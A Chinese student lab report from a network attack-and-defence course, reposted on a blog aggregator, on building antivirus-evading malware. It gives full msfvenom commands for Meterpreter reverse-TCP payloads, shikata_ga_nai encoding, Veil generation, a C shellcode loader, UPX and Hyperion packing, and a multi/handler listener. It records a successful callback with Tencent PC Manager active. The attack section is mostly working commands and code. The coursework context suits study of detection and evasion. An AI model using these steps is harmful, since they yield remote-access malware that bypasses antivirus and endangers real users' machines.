# 20222322 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1实验内容
(1) 使用msfvenom和msf编码器生成文件

使用msfvenom生成exe文件,并进行编码。
生成jar文件,用于Java环境下的攻击。
生成PHP文件,用于Web服务器上的攻击。

(2) 使用Veil工具生成恶意代码

下载并安装Veil-Evasion,使用Veil生成恶意代码。

(3) 使用C+shellcode编程

编写一个C程序,将shellcode嵌入其中,并编译成可执行文件。

(4) 使用压缩壳和加密壳

UPX压缩壳:使用UPX对生成的exe文件进行压缩。
Hyperion加密壳:下载并使用Hyperion对exe文件进行加密。

(5) 组合应用技术实现恶意代码免杀

结合使用msf编码器、Veil生成的payload、C+shellcode编程、以及压缩壳和加密壳等技术,生成难以被检测的恶意代码。在虚拟机中安装杀软,测试生成的恶意代码是否能绕过杀软的检测。

(6) 在杀软开启的情况下运行并回连成功

在一台安装了杀软的电脑上运行生成的恶意代码。确保恶意代码能够成功运行,并回连到攻击者的机器。

1.2实验问题
(1)杀软是如何检测出恶意代码的?

特征码匹配:检测已知恶意代码的特征码。
启发式分析:根据代码行为模式判断是否为恶意。
行为监控:监控程序行为,异常行为视为恶意。
云安全:上传文件到云端,利用大数据快速检测。
沙箱技术:在隔离环境中运行程序,观察其行为。

(2)免杀是做什么?

免杀是一种反杀毒技术,它旨在修改病毒、木马等内容,改变其特征码,从而使这些恶意代码能够躲避杀毒软件的检测和查杀

(3)免杀的基本方法有哪些?

修改特征码:改变恶意代码中的关键字节,避免被杀毒软件识别。
代码混淆:增加代码复杂度,使其难以被分析。
加密解密:对恶意代码加密,运行时解密执行。
分离免杀:将恶意代码与加载器分离,动态加载执行。
加壳保护:使用加壳工具压缩加密恶意代码。
利用漏洞:通过系统或应用漏洞执行恶意代码。

2.实验过程

2.1生成参考标准
查看msfvenom 支持的所有输出格式
msfvenom --list formats

使用msfvenom生成一个Windows反向TCP Meterpreter的文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=8888 -f exe > 20222322lulu.exe

将该文件放入virustotal进行评价,检出率为61/73,后续的免杀技术效果将以这个作为参照。

2.2生成exe及其他文件并使用msf编码器对后门程序进行处理
2.2.1生成exe文件和编码的exe文件
查看 msfvenom 支持的所有编码方式:
msfvenom --list encoders

对上面生成的exe文件进行一次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.36.128 LPORT=2322 -f exe > 20222322lulu_2.exe;

文件放入virustotal进行评价,检出率为60/73

可以看见一次效果并不好,于是采用多次编码(10次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.36.128 LPORT=2322 -f exe > 20222322lulu_3.exe

文件放入virustotal进行评价,检出率为59/73

可以看见这里编码对免杀产生的影响不大。

2.2.2生成jar文件和编码的jar文件

生成可执行文件“20222322lulu_4.jar”和进行10次编码文件“20222301lulu_5.jar”
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=2322 -f jar > 20222301lulu_4.jar

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=2322 -e x86/shikata_ga_nai -i 10 -f jar > 20222322lulu_5.jar

放入virustotal进行评价,检出率均为34/64

2.2.3生成php文件和编码的php文件

生成elf可执行文件“20222322lulu_6.elf”
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=2322 -f elf > 20222322lulu_6.elf

进行10次编码
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.36.128 LPORT=2322 -e x86/shikata_ga_nai -i 10 -f elf > 20222322lulu_7.elf

放入virustotal进行评价,检出率分别为34/65和17/66

通过测试检出率可以知道几种文件比较下来php文件最难被识别,且编码的免杀效果最好。其次不容易被识别的是jar文件,但jar编码的免杀效果不明显。

2.3使用veil免杀工具
2.3.1 下载veil
输入以下指令安装veil:
mkdir -p ~/.cache/wine

cd ~/.cache/wine

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

sudo apt-get install libncurses5*

sudo apt-get install libavutil55*

sudo apt-get install gcc-mingw-w64*

sudo apt-get install wine32
此时可能会报错“package ‘wine32’ has no installation candidate ”先输入dpkg --add-architecture i386,再输入sudo apt-get update,然后输入

sudo apt-get install wine32

此时可能会发生报错,硬盘大小不够(解决过程见问题1),扩充硬盘后再次下载。
下载完成后进行veil安装
apt-get install veil

cd /usr/share/veil/config/

vim setup.sh


将下图内容中下载地址换成“https://gitee.com/spears/VeilDependencies.git

保存退出后,输入veil进行默认安装即可。

2.3.2 veil使用

输入veil

输入use evasion ,进入Evasion;

输入list,查看所有载荷类型;

使用c/meterpretermrev_tcp.py,输入use 7

重新打开命令行,输入ifconfig检查虚拟机ip地址,可以看见这里IP地址为192.168.36.145;

依次输入:
set LHOST 192.168.36.145 反弹链接ip(虚拟机ip)

set LPORT 2322 设置端口

generate 开始生成

输入生成的文件名称:“20222322lulu_veil”;

退出,进入文件夹cd /var/lib/veil/output/compiled/
输入ls查看生成的“20222322lulu_veil.exe”可执行文件;

将文件传入主机;

主机打开网页VirusTotal:https://www.virustotal.com/进行检测;

检测率为45/72,可以看见起到对于免杀有一定作用。

2.3.3使用C + shellcode编程

用msfvenom工具来生成payload;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.36.145 LPORT=2322 -f c

新建并编辑“20222322.c”生成“20222322.exe”文件;



输入ls查看文件生成情况;

测试文件检测率,检测率为44/72,免杀效果并不显著;

2.5使用加壳工具

2.5.1 upx加壳

生成可执行文件“upx20222322.exe”
upx 20222322.exe -o upx20222322.exe

测试文件检测率,检测率为47/72,检测率反而上升了,免杀效果较差;

2.5.2 Hyperion加壳
将文件“20222322.exe”放入文件夹
cp 20222322.exe /usr/share/windows-resources/hyperion

进入文件夹cd /usr/share/windows-resources/hyperion

查看未生成前目录ls

对文件进行加密生成文件“hyp20222322.exe”
wine hyperion.exe -v 20222322.exe hyp20222322.exe

查看生成后目录ls

测试文件检测率,检测率为53/72,检测率仍然在上升,免杀效果较差;

2.6通过组合应用各种技术实现恶意代码免杀

使用msfvenom工具生成一个针对Windows系统的Meterpreter反向TCP攻击载荷,该载荷经过x86/shikata_ga_nai编码器10次迭代编码,并避免使用\x00字节。同时,指定监听主机的IP地址和端口号,并将生成的代码输出到C语言源文件中。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.36.145 LPORT=2322 -f c > 20222322_conbine.c

使用vi编辑器打开生成的C文件,添加main函数,该函数将shellcode作为函数指针调用。

// 在 20222322_conbine.c文件中添加以下代码
int main(){
int (func)() = (int()())buf;
func();
}

使用MinGW-w64编译器编译生成可执行文件;
i686-w64-mingw32-g++ 20222322_conbine.c -o 20222322_conbine.exe

使用UPX工具对可执行文件进行压缩;
upx 20222322_conbine.exe -o 20222322_conbine_upx.exe

使用Hyperion工具对已经压缩的可执行文件进行加密处理;
wine hyperion.exe -v 20222322_conbine_upx.exe 20222322_conbine_upx_hyp.exe

将最终生成的可执行文件放入主机,用360卫士进行扫描,软件没有发现;

2.7用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

输入msfconsole打开msf的控制台
use exploit/multi/handler(设置监听处理器)
set payload windows/meterpreter/reverse_tcp(设置载荷类型)
set LHOST 192.168.36.145(设置为kali的ip地址)
set LPORT 8888(设置端口)
exploit(启动监听服务)
在杀毒软件开启时,主机上运行文件,回连成功。

杀毒软件为腾讯管家17.0.25582.209

3.问题及解决方案

  • 问题1:下载veli失败,出现硬盘容量不够。

  • 问题1解决方案:尝试根据提示输入命令重新下载也失败了,发现是硬盘小了,扩充硬盘后下载。开机出现黑屏,重启无效,重装虚拟机直接将硬盘设置大一些。

  • 问题2:硬盘容量解决后,下载veil过程中不断出现报错,比如.ssh文件没找到等。

  • 问题2解决方案:更新apt版本并重新下载veil。

  • 问题3:使用hyperion加壳工具是会产生报错:ShellExecuteEx failed: File not found 或者XXX not found

  • 问题3解决方案:仔细看报错原因是文件没有找到需要加密的文件,需要将文件放入目录下并且进入目录就可以正常运行。

  • 问题3:回连时一直被360安全卫士杀毒软件查杀。

  • 问题3解决方案:可能是杀毒软件太多了,建议只保留一个杀毒软件,可以的话建议版本最老的杀毒软件。

4.学习感悟、思考等

通过本次实验,我亲自实践了恶意代码生成、编码、免杀技术以及各种工具(如msfvenom、Veil、UPX、Hyperion等)的使用。在这个过程中,我深刻体会到这些技术并非表面上的简单代码修改或增加复杂性,而是需要深入理解杀毒软件的检测机制,并巧妙地设计策略以绕过检测。这种“斗智斗勇”的过程让我印象深刻,也让我对攻防对抗有了更为深刻的认识。

在实验的具体操作过程中,我遇到了不少问题和挑战。在安装Veil时,由于硬盘容量不足和文件路径配置不当,导致安装过程多次失败。这不仅考验了我的耐心,也促使我更加细致地检查每一步操作,但最终还是通过重新下载虚拟机解决了。

最大的难点在于Veil的下载和安装。在下载Veil时,我遇到了各种各样的报错,如网络问题、依赖项缺失等。为了解决这些问题,我甚至不得不重新安装虚拟机,以此解决报错信息中提到的各种问题。然而,即使成功安装了Veil,由于实验涉及的免杀技巧已经存在了很久,很多杀毒软件已经对这些技巧有了较好的防范能力,因此我生成的恶意代码检测效果并不明显。

在回连过程中,我也遇到了不小的挑战。由于杀毒软件对恶意代码的检测和拦截,我多次尝试回连都未能成功。最终,我选择关闭了360杀毒软件,改用腾讯管家进行尝试。虽然这种方法在一定程度上降低了实验的难度,但也让我更加深刻地认识到杀毒软件在信息安全领域的重要性以及免杀技术的挑战性。

通过这次实验,我不仅学到了很多关于恶意代码生成、编码、免杀技术等方面的知识,也深刻体会到了信息安全领域攻防对抗的复杂性和艰巨性,我将继续努力学习相关知识,提升自己的技术水平。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824485.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

高级程序语言课程第五次作业

这个作业属于哪个课程:https://edu.cnblogs.com/campus/fzu/2024C/ 这个作业要求在哪里: https://edu.cnblogs.com/campus/fzu/2024C/homework/13298 姓名:刘嘉奕 学号:102400204停止输入进行运算用ctrl+z打印\n用\n8.5语句循环逻辑错误8.7用字符代替数字选项,用q代替5结束…

SQL Server创建用户只能访问指定数据库和视图

我们在给数据库用户赋予权限时,有时候不想让该用户看到太多过程表和过程视图,这时就需要限定用户的访问权限 第一步:创建用户 创建数据库连接后,进入安全性——登录名,单击右键,新建登录名,并设置默认数据库第二步:设置用户映射 点击用户映射,勾选指定要访问的数据库,…

更安全高效的文件传输工具,Ftrans国产FTP替代方案可以了解!

文件传输协议(FTP),诞生于1971年,自20世纪70年代发明以来,FTP已成为传输大文件的不二之选。内置有操作系统的 FTP 可提供一个相对简便、看似免费的文件交换方法,因此得到广泛使用。 随着企业发展过程中新增的文件传输需求,FTP的局限性开始凸显,企业都在寻求国产FTP替代…

CentOS查看磁盘IO使用率

Linux命令iostat -x 1最后一列%util为磁盘IO使用百分比

AI绘画漫谈——从AI网页生成说起

1. 又说“前端已死” 为什么说“又”呢?因为前两年我在一些博客网站三天两头就能看到这个标题,虽然今年好像换话题了,但感觉前端每年都要死个七八次,当然这里面还是标题党偏多,不过也体现了有一些开发者对自己当前所做的工作内容的忧虑,尤其是这一次冲击的浪潮是来自于 A…

对象一定分配在堆中吗?聊聊TLAB和逃逸分析技术

TLAB TLAB是虚拟机在堆内存的eden划分出来的一块专用空间,是线程专属的。在虚拟机的TLAB功能启动的情况下,在线程初始化时,虚拟机会为每个线程分配一块TLAB空间(包含在 Eden 空间内),只给当前线程使用,这样每个线程都单独拥有一个空间,如果需要分配内存,就在自己的空间…

Metasploit Pro 4.22.5-2024102801 发布下载,新增功能简介

Metasploit Pro 4.22.5-2024102801 发布下载,新增功能简介Metasploit Pro 4.22.5-2024102801 发布下载,新增功能简介 Metasploit Pro 4.22.5-2024102801 (Linux, Windows) - 专业渗透测试框架 2024 年 10 月 28 日,版本 4.22.5-2024102801 请访问原文链接:Metasploit Pro 4…

Qt/C++地图导航app/支持qml/手机运行/输入起点终点规划路径/模拟轨迹移动

一、前言说明 搞Qt地图开发这块,随着研究的深入,用户的需求变化,最近又需要在手机上运行,由于本地图组件依赖浏览器控件,而手机安卓上的Qt并没有带qwebengine控件,怎么办呢,不断的努力验证下,发现Qt安卓上提供了webview控件可以加载网页,而webview在安卓上只能用qml,…

别再忽视!PostgreSQL Public 模式的风险以及安全迁移

别再忽视!PostgreSQL Public 模式的风险以及安全迁移作者:桦仔 10余年DBA工作经验 微信:debolop QQ交流群:740052625 公众号:数据库实战派问题起因 前几天有群友在群里面咨询PG12,13,14,public模式是否可以删除或改名?因为这位群友的公司的PG规范做了修改,不让使用…

读数据湖仓09读后总结与感想兼导读

读后总结与感想兼导读1. 基本信息 数据湖仓[美]比尔恩门(BillInmon);[美]戴夫拉皮恩(DaveRapien);[美]瓦莱丽特(ValerieBartelt)著人民邮电出版社2024年7月出版1.1. 读薄率 书籍总字数???千字,笔记总字数23238字。 读薄率23238???000≈??% 1.2. 读厚方向构建可…

library官网登录入口,zlibrary中文网及客户端/app

Z-Library是一个全球知名的在线数字图书馆和文件共享网站,以下是它的详细介绍:藏书量丰富:Z-Library拥有超过9,826,996本电子书和84,837,646篇学术期刊文章,覆盖了从经典文学到前沿理工学科,从人文艺术到专业学术论文的广泛领域。 多种格式支持:Z-Library支持多种电子书格…

视频恶劣天气消除的扩散测试时间适应性

实践中的真知灼见:视频恶劣天气消除的扩散测试时间适应性现实世界中的视觉任务经常受到意外恶劣天气条件的影响,包括雨、霾、雪和雨滴。在过去的十年里,卷积神经网络和视觉变换器在单天气视频去除方面取得了突出成果。然而,由于缺乏适当的适应,它们中的大多数无法推广到其…